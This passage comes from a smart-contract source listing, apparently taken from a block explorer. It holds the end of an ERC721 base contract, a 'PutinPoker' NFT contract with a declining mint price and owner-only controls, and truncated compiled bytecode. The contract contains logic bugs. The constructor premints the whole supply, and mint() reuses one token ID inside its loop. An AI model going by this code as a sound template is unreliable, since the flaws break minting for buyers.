IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: PutinPoker.sol pragma solidity ^0.8.0; contract PutinPoker is ERC721, Ownable { using Strings for uint256; //mint variables uint256 public supply; uint256 public maxSupply = 52; uint256 public startMintPrice = 1 ether; uint256 public endMintPrice = .025 ether; uint256 public deduct; uint256 public startBlock = block.number; uint256 public epochLength = 333; //token variables string private baseURI = "https://ipfs.io/ipfs/QmWkQHFbqYsLvtnKk8LGPiKvfrkHFvUTLVVPWN2tSMskdz/"; string public baseExtension = ".json"; constructor(string memory _name, string memory _symbol) ERC721(_name, _symbol) { for (uint256 i = 1; i <= maxSupply; i++) { _safeMint(msg.sender, i); supply += 1; } } //mint function mint(uint256 _mintAmount) public payable { require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded"); uint256 mintPrice = getMintPrice(); require(msg.value >= mintPrice * _mintAmount, "insufficient funds"); uint tokenId = supply + 1; for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, tokenId); supply += 1; } } function getMintPrice() public view returns (uint256){ uint256 priceDrop = ((block.number - startBlock) / epochLength) * deduct; if (priceDrop > (startMintPrice-endMintPrice)) { return endMintPrice; } else { return startMintPrice - priceDrop; } } function gift(address _receiver) public onlyOwner { require(supply + 1 <= maxSupply, "max NFT limit exceeded"); uint tokenId = supply + 1; _safeMint(_receiver, tokenId); supply += 1; } function setStartBlock() public onlyOwner { startBlock = block.number; } function setEpoch(uint256 _length) public onlyOwner { epochLength = _length; } function setDeduct(uint256 _amount) public onlyOwner { deduct = _amount; } function setStartMint(uint256 _amount) public onlyOwner { startMintPrice = _amount; } function setEndMint(uint256 _amount) public onlyOwner { endMintPrice = _amount; } function setMaxSupply(uint256 _amount) public onlyOwner { maxSupply = _amount; } //functions for token URIs function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), baseExtension)) : ""; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } //withdraw earnings function withdraw() public payable onlyOwner { (bool success, ) = payable(msg.sender).call{ value: address(this).balance }( "" ); require(success, "failed to send ether"); } }
0x60806040526004361061020f5760003560e01c8063715018a611610118578063c6682862116100a0578063d5abeb011161006f578063d5abeb0114610747578063da3ef23f14610772578063e985e9c51461079b578063f2fde38b146107d8578063f981b978146108015761020f565b8063c66828621461068b578063c6b32e92146106b6578063c87b56dd146106e1578063cbfc4bce1461071e5761020f565b80639eaf167d116100e75780639eaf167d146105c9578063a0712d68146105f2578063a22cb4651461060e578063a7f93ebd14610637578063b88d4fde146106625761020f565b8063715018a614610533578063736eb3cb1461054a5780638da5cb5b1461057357806395d89b411461059e5761020f565b806342842e0e1161019b57806357d775f81161016a57806357d775f81461043a5780636352211e146104655780636ab81bfd146104a25780636f8b44b0146104cd57806370a08231146104f65761020f565b806342842e0e1461039457806348cd4cb1146103bd5780634fdd6651146103e857806355f804b3146104115761020f565b8063095ea7b3116101e2578063095ea7b3146102e45780630ceb2cef1461030d5780630d15754a1461033657806323b872dd146103615780633ccfd60b1461038a5761020f565b806301ffc9a714610214578063047fc9aa1461025157806306fdde031461027c578063081812fc146102a7575b600080fd5b34801561022057600080fd5b5061023b60048036038101906102369190612a42565b610818565b6040516102489190612fca565b60405180910390f35b34801561025d57600080fd5b506102666108fa565b6040516102739190613267565b60405180910390f35b34801561028857600080fd5b50610291610900565b60405161029e9190612fe5565b60405180910390f35b3480156102b357600080fd5b506102ce60048036038101906102c99190612ae5565b610992565b6040516102db9190612f63565b60405180910390f35b3480156102f057600080fd5b5061030b60048036038101906103069190612a02565b610a17565b005b34801561031957600080fd5b50610334600480360381019061032f9190612ae5565b610b2f565b005b34801561034257600080fd5b5061034b610bb5565b6040516103589190613267565b60405180910390f35b34801561036d57600080fd5b50610388600480360381019061038391906128ec565b610bbb565b005b610392610c1b565b005b3480156103a057600080fd5b506103bb60048036038101906103b691906128ec565b610d46565b005b3480156103c957600080fd5b506103d2610d66565b6040516103df9190613267565b60405180910390f35b3480156103f457600080fd5b5061040f600480360381019061040a9190612ae5565b610d6c565b005b34801561041d57600080fd5b5061043860048036038101906104339190612a9c565b610df2565b005b34801561044657600080fd5b5061044f610e88565b60405161045c9190613267565b60405180910390f35b34801561047157600080fd5b5061048c60048036038101906104879190612ae5565b610e8e565b6040516104999190612f63565b60405180910390f35b3480156104ae57600080fd5b506104b7610f40565b6040516104c49190613267565b60405180910390f35b3480156104d957600080fd5b506104f460048036038101906104ef9190612ae5565b610f46565b005b34801561050257600080fd5b5061051d6004803603810190610518919061287f565b610fcc565b60405161052a9190613267565b60405180910390f35b34801561053f57600080fd5b50610548611084565b005b34801561055657600080fd5b50610571600480360381019061056c9190612ae5565b61110c565b005b34801561057f57600080fd5b50610588611192565b6040516105959190612f63565b60405180910390f35b3480156105aa57600080fd5b506105b36111bc565b6040516105c09190612fe5565b60405180910390f35b3480156105d557600080fd5b506105f060048036038101906105eb9190612ae5565b61124e565b005b61060c60048036038101906106079190612ae5565b6112d4565b005b34801561061a57600080fd5b50610635600480360381019061063091906129c2565b6113de565b005b34801561064357600080fd5b5061064c6113f4565b6040516106599190613267565b60405180910390f35b34801561066e57600080fd5b506106896004803603810190610684919061293f565b611458565b005b34801561069757600080fd5b506106a06114ba565b6040516106ad9190612fe5565b60405180910390f35b3480156106c257600080fd5b506106cb611548565b6040516106d89190613267565b60405180910390f35b3480156106ed57600080fd5b5061070860048036038101906107039190612ae5565b61154e565b6040516107159190612fe5565b60405180910390f35b34801561072a57600080fd5b506107456004803603810190610740919061287f565b6115f9565b005b34801561075357600080fd5b5061075c611703565b6040516107699190613267565b60405180910390f35b34801561077e57600080fd5b5061079960048036038101906107949190612a9c565b611709565b005b3480156107a757600080fd5b506107c260048036038101906107bd91906128ac565b61179f565b6040516107cf9190612fca565b60405180910390f35b3480156107e457600080fd5b506107ff60048036038101906107fa919061287f565b611833565b005b34801561080d57600080fd5b5061081661192b565b005b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806108e357507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806108f357506108f2826119d3565b5b9050919050565b60075481565b60606000805461090f90613537565b80601f016020809104026020016040519081016040528092919081815260200182805461093b90613537565b80156109885780601f1061095d57610100808354040283529160200191610988565b820191906000526020600020905b81548152906001019060200180831161096b57829003601f168201915b5050505050905090565b600061099d82611a3d565b6109dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d3906131a7565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610a2282610e8e565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8a90613207565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610ab2611aa9565b73ffffffffffffffffffffffffffffffffffffffff161480610ae15750610ae081610adb611aa9565b61179f565b5b610b20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b17906130e7565b60405180910390fd5b610b2a8383611ab1565b505050565b610b37611aa9565b73ffffffffffffffffffffffffffffffffffffffff16610b55611192565b73ffffffffffffffffffffffffffffffffffffffff1614610bab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba2906131c7565b60405180910390fd5b80600d8190555050565b600b5481565b610bcc610bc6611aa9565b82611b6a565b610c0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0290613247565b60405180910390fd5b610c16838383611c48565b505050565b610c23611aa9565b73ffffffffffffffffffffffffffffffffffffffff16610c41611192565b73ffffffffffffffffffffffffffffffffffffffff1614610c97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8e906131c7565b60405180910390fd5b60003373ffffffffffffffffffffffffffffffffffffffff1647604051610cbd90612f4e565b60006040518083038185875af1925050503d8060008114610cfa576040519150601f19603f3d011682016040523d82523d6000602084013e610cff565b606091505b5050905080610d43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3a90613147565b60405180910390fd5b50565b610d6183838360405180602001604052806000815250611458565b505050565b600c5481565b610d74611aa9565b73ffffffffffffffffffffffffffffffffffffffff16610d92611192565b73ffffffffffffffffffffffffffffffffffffffff1614610de8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddf906131c7565b60405180910390fd5b80600b8190555050565b610dfa611aa9565b73ffffffffffffffffffffffffffffffffffffffff16610e18611192565b73ffffffffffffffffffffffffffffffffffffffff1614610e6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e65906131c7565b60405180910390fd5b80600e9080519060200190610e84929190612693565b5050565b600d5481565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610f37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2e90613127565b60405180910390fd5b80915050919050565b600a5481565b610f4e611aa9565b73ffffffffffffffffffffffffffffffffffffffff16610f6c611192565b73ffffffffffffffffffffffffffffffffffffffff1614610fc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb9906131c7565b60405180910390fd5b8060088190555050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561103d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103490613107565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61108c611aa9565b73ffffffffffffffffffffffffffffffffffffffff166110aa611192565b73ffffffffffffffffffffffffffffffffffffffff1614611100576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f7906131c7565b60405180910390fd5b61110a6000611eaf565b565b611114611aa9565b73ffffffffffffffffffffffffffffffffffffffff16611132611192565b73ffffffffffffffffffffffffffffffffffffffff1614611188576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117f906131c7565b60405180910390fd5b8060098190555050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600180546111cb90613537565b80601f01602080910402602001604051908101604052809291908181526020018280546111f790613537565b80156112445780601f1061121957610100808354040283529160200191611244565b820191906000526020600020905b81548152906001019060200180831161122757829003601f168201915b5050505050905090565b611256611aa9565b73ffffffffffffffffffffffffffffffffffffffff16611274611192565b73ffffffffffffffffffffffffffffffffffffffff16146112ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c1906131c7565b60405180910390fd5b80600a8190555050565b600854816007546112e5919061336c565b1115611326576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131d90613167565b60405180910390fd5b60006113306113f4565b9050818161133e91906133f3565b341015611380576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137790613227565b60405180910390fd5b60006001600754611391919061336c565b90506000600190505b8381116113d8576113ab3383611f75565b6001600760008282546113be919061336c565b9250508190555080806113d09061359a565b91505061139a565b50505050565b6113f06113e9611aa9565b8383611f93565b5050565b600080600b54600d54600c544361140b919061344d565b61141591906133c2565b61141f91906133f3565b9050600a54600954611431919061344d565b81111561144357600a54915050611455565b80600954611451919061344d565b9150505b90565b611469611463611aa9565b83611b6a565b6114a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149f90613247565b60405180910390fd5b6114b484848484612100565b50505050565b600f80546114c790613537565b80601f01602080910402602001604051908101604052809291908181526020018280546114f390613537565b80156115405780601f1061151557610100808354040283529160200191611540565b820191906000526020600020905b81548152906001019060200180831161152357829003601f168201915b505050505081565b60095481565b606061155982611a3d565b611598576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158f906131e7565b60405180910390fd5b6000600e80546115a790613537565b9050116115c357604051806020016040528060008152506115f2565b600e6115ce8361215c565b600f6040516020016115e293929190612f1d565b6040516020818303038152906040525b9050919050565b611601611aa9565b73ffffffffffffffffffffffffffffffffffffffff1661161f611192565b73ffffffffffffffffffffffffffffffffffffffff1614611675576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166c906131c7565b60405180910390fd5b6008546001600754611687919061336c565b11156116c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bf90613167565b60405180910390fd5b600060016007546116d9919061336c565b90506116e58282611f75565b6001600760008282546116f8919061336c565b925050819055505050565b60085481565b611711611aa9565b73ffffffffffffffffffffffffffffffffffffffff1661172f611192565b73ffffffffffffffffffffffffffffffffffffffff1614611785576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177c906131c7565b60405180910390fd5b80600f908051906020019061179b929190612693565b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b61183b611aa9565b73ffffffffffffffffffffffffffffffffffffffff16611859611192565b73ffffffffffffffffffffffffffffffffffffffff16146118af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a6906131c7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561191f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191690613027565b60405180910390fd5b61192881611eaf565b50565b611933611aa9565b73ffffffffffffffffffffffffffffffffffffffff16611951611192565b73ffffffffffffffffffffffffffffffffffffffff16146119a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199e906131c7565b60405180910390fd5b43600c81905550565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16611b2483610e8e565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000611b7582611a3d565b611bb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bab906130c7565b60405180910390fd5b6000611bbf83610e8e565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611c2e57508373ffffffffffffffffffffffffffffffffffffffff16611c1684610992565b73ffffffffffffffffffffffffffffffffffffffff16145b80611c3f5750611c3e818561179f565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16611c6882610e8e565b73ffffffffffffffffffffffffffffffffffffffff1614611cbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb590613047565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2590613087565b60405180910390fd5b611d398383836122bd565b611d44600082611ab1565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611d94919061344d565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611deb919061336c565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4611eaa8383836122c2565b505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b611f8f8282604051806020016040528060008152506122c7565b5050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612002576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff9906130a7565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516120f39190612fca565b60405180910390a3505050565b61210b848484611c48565b61211784848484612322565b612156576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214d90613007565b60405180910390fd5b50505050565b606060008214156121a4576040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525090506122b8565b600082905060005b600082146121d65780806121bf9061359a565b915050600a826121cf91906133c2565b91506121ac565b60008167ffffffffffffffff8111156121f2576121f16136d0565b5b6040519080825280601f01601f1916602001820160405280156122245781602001600182028036833780820191505090505b5090505b600085146122b15760018261223d919061344d565b9150600a8561224c91906135e3565b6030612258919061336c565b60f81b81838151811061226e5761226d6136a1565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856122aa91906133c2565b9450612228565b8093505050505b919050565b505050565b505050565b6122d183836124b9565b6122de6000848484612322565b61231d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231490613007565b60405180910390fd5b505050565b60006123438473ffffffffffffffffffffffffffffffffffffffff166119b0565b156124ac578373ffffffffffffffffffffffffffffffffffffffff1663150b7a0261236c611aa9565b8786866040518563ffffffff1660e01b815260040161238e9493929190612f7e565b602060405180830381600087803b1580156123a857600080fd5b505af19250505080156123d957506040513d601f19601f820116820180604052508101906123d69190612a6f565b60015b61245c573d8060008114612409576040519150601f19603f3d011682016040523d82523d6000602084013e61240e565b606091505b50600081511415612454576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244b90613007565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149150506124b1565b600190505b949350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612529576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252090613187565b60405180910390fd5b61253281611a3d565b15612572576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256990613067565b60405180910390fd5b61257e600083836122bd565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546125ce919061336c565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a461268f600083836122c2565b5050565b82805461269f90613537565b90600052602060002090601f0160209004810192826126c15760008555612708565b82601f106126da57805160ff1916838001178555612708565b82800160010185558215612708579182015b828111156127075782518255916020019190600101906126ec565b5b5090506127159190612719565b5090565b5b8082111561273257600081600090555060010161271a565b5090565b6000612749612744846132a7565b613282565b90508281526020810184848401111561276557612764613704565b5b6127708482856134f5565b509392505050565b600061278b612786846132d8565b613282565b9050828152602081018484840111156127a7576127a6613704565b5b6127b28482856134f5565b509392505050565b6000813590506127c981613bfa565b92915050565b6000813590506127de81613c11565b92915050565b6000813590506127f381613c28565b92915050565b60008151905061280881613c28565b92915050565b600082601f830112612823576128226136ff565b5b8135612833848260208601612736565b91505092915050565b600082601f830112612851576128506136ff565b5b8135612861848260208601612778565b91505092915050565b60008135905061287981613c3f565b92915050565b6000602082840312156128955761289461370e565b5b60006128a3848285016127ba565b91505092915050565b600080604083850312156128c3576128c261370e565b5b60006128d1858286016127ba565b92505060206128e2858286016127ba565b9150509250929050565b6000806000606084860312156129055761290461370e565b5b6000612913868287016127ba565b9350506020612924868287016127ba565b92505060406129358682870161286a565b9150509250925092565b600080600080608085870312156129595761295861370e565b5b6000612967878288016127ba565b9450506020612978878288016127ba565b93505060406129898782880161286a565b925050606085013567ffffffffffffffff8111156129aa576129a9613709565b5b6129b68782880161280e565b91505092959194509250565b600080604083850312156129d9576129d861370e565b5b60006129e7858286016127ba565b92505060206129f8858286016127cf565b9150509250929050565b60008060408385031215612a1957612a1861370e565b5b6000612a27858286016127ba565b9250506020612a388582860161286a565b9150509250929050565b600060208284031215612a5857612a5761370e565b5b6000612a66848285016127e4565b91505092915050565b600060208284031215612a8557612a8461370e565b5b6000612a93848285016127f9565b91505092915050565b600060208284031215612ab257612ab161370e565b5b600082013567ffffffffffffffff811115612ad057612acf613709565b5b612adc8482850161283c565b91505092915050565b600060208284031215612afb57612afa61370e565b5b6000612b098482850161286a565b91505092915050565b612b1b81613481565b82525050565b612b2a81613493565b82525050565b6000612b3b8261331e565b612b458185613334565b9350612b55818560208601613504565b612b5e81613713565b840191505092915050565b6000612b7482613329565b612b7e8185613350565b9350612b8e818560208601613504565b612b9781613713565b840191505092915050565b6000612bad82613329565b612bb78185613361565b9350612bc7818560208601613504565b80840191505092915050565b60008154612be081613537565b612bea8186613361565b94506001821660008114612c055760018114612c1657612c49565b60ff19831686528186019350612c49565b612c1f85613309565b60005b83811015612c4157815481890152600182019150602081019050612c22565b838801955050505b50505092915050565b6000612c5f603283613350565b9150612c6a82613724565b604082019050919050565b6000612c82602683613350565b9150612c8d82613773565b604082019050919050565b6000612ca5602583613350565b9150612cb0826137c2565b604082019050919050565b6000612cc8601c83613350565b9150612cd382613811565b602082019050919050565b6000612ceb602483613350565b9150612cf68261383a565b604082019050919050565b6000612d0e601983613350565b9150612d1982613889565b602082019050919050565b6000612d31602c83613350565b9150612d3c826138b2565b604082019050919050565b6000612d54603883613350565b9150612d5f82613901565b604082019050919050565b6000612d77602a83613350565b9150612d8282613950565b604082019050919050565b6000612d9a602983613350565b9150612da58261399f565b604082019050919050565b6000612dbd601483613350565b9150612dc8826139ee565b602082019050919050565b6000612de0601683613350565b9150612deb82613a17565b602082019050919050565b6000612e03602083613350565b9150612e0e82613a40565b602082019050919050565b6000612e26602c83613350565b9150612e3182613a69565b604082019050919050565b6000612e49602083613350565b9150612e5482613ab8565b602082019050919050565b6000612e6c602f83613350565b9150612e7782613ae1565b604082019050919050565b6000612e8f602183613350565b9150612e9a82613b30565b604082019050919050565b6000612eb2600083613345565b9150612ebd82613b7f565b600082019050919050565b6000612ed5601283613350565b9150612ee082613b82565b602082019050919050565b6000612ef8603183613350565b9150612f0382613bab565b604082019050919050565b612f17816134eb565b82525050565b6000612f298286612bd3565b9150612f358285612ba2565b9150612f418284612bd3565b9150819050949350505050565b6000612f5982612ea5565b9150819050919050565b6000602082019050612f786000830184612b12565b92915050565b6000608082019050612f936000830187612b12565b612fa06020830186612b12565b612fad6040830185612f0e565b8181036060830152612fbf8184612b30565b905095945050505050565b6000602082019050612fdf6000830184612b21565b92915050565b60006020820190508181036000830152612fff8184612b69565b905092915050565b6000602082019050818103600083015261302081612c52565b9050919050565b6000602082019050818103600083015261304081612c75565b9050919050565b6000602082019050818103600083015261306081612c98565b9050919050565b6000602082019050818103600083015261308081612cbb565b9050919050565b600060208201905081810360008301526130a081612cde565b9050919050565b600060208201905081810360008301526130c081612d01565b9050919050565b600060208201905081810360008301526130e081612d24565b9050919050565b6000602082019050818103600083015261310081612d47565b9050919050565b6000602082019050818103600083015261312081612d6a565b9050919050565b6000602082019050818103600083015261314081612d8d565b9050919050565b6000602082019050818103600083015261316081612db0565b9050919050565b6000602082019050818103600083015261318081612dd3565b9050919050565b600060208201905081810360008301526131a081612df6565b9050919050565b600060208201905081810360008301526131c081612e19565b9050919050565b600060208201905081810360008301526131e081612e3c565b9050919050565b6000602082019050818103600083015261320081612e5f565b9050919050565b6000602082019050818103600083015261322081612e82565b9050919050565b6000602082019050818103600083015261324081612ec8565b9050919050565b6000602082019050818103600083015261326081612eeb565b9050919050565b600060208201905061327c6000830184612f0e565b92915050565b600061328c61329d565b90506132988282613569565b919050565b6000604051905090565b600067ffffffffffffffff8211156132c2576132c16136d0565b5b6132cb82613713565b9050602081019050919050565b600067ffffffffffffffff8211156132f3576132f26136d0565b5b6132fc82613713565b9050602081019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b6000613377826134eb565b9150613382836134eb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133b7576133b6613614565b5b828201905092915050565b60006133cd826134eb565b91506133d8836134eb565b9250826133e8576133e7613643565b5b828204905092915050565b60006133fe826134eb565b9150613409836134eb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561344257613441613614565b5b828202905092915050565b6000613458826134eb565b9150613463836134eb565b92508282101561347657613475613614565b5b828203905092915050565b600061348c826134cb565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015613522578082015181840152602081019050613507565b83811115613531576000848401525b50505050565b6000600282049050600182168061354f57607f821691505b6020821081141561356357613562613672565b5b50919050565b61357282613713565b810181811067ffffffffffffffff82111715613591576135906136d0565b5b80604052505050565b60006135a5826134eb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156135d8576135d7613614565b5b600182019050919050565b60006135ee826134eb565b91506135f9836134eb565b92508261360957613608613643565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722066726f6d20696e636f72726563742060008201527f6f776e6572000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f6661696c656420746f2073656e64206574686572000000000000000000000000600082015250565b7f6d6178204e4654206c696d697420657863656564656400000000000000000000600082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732314d657461646174613a2055524920717565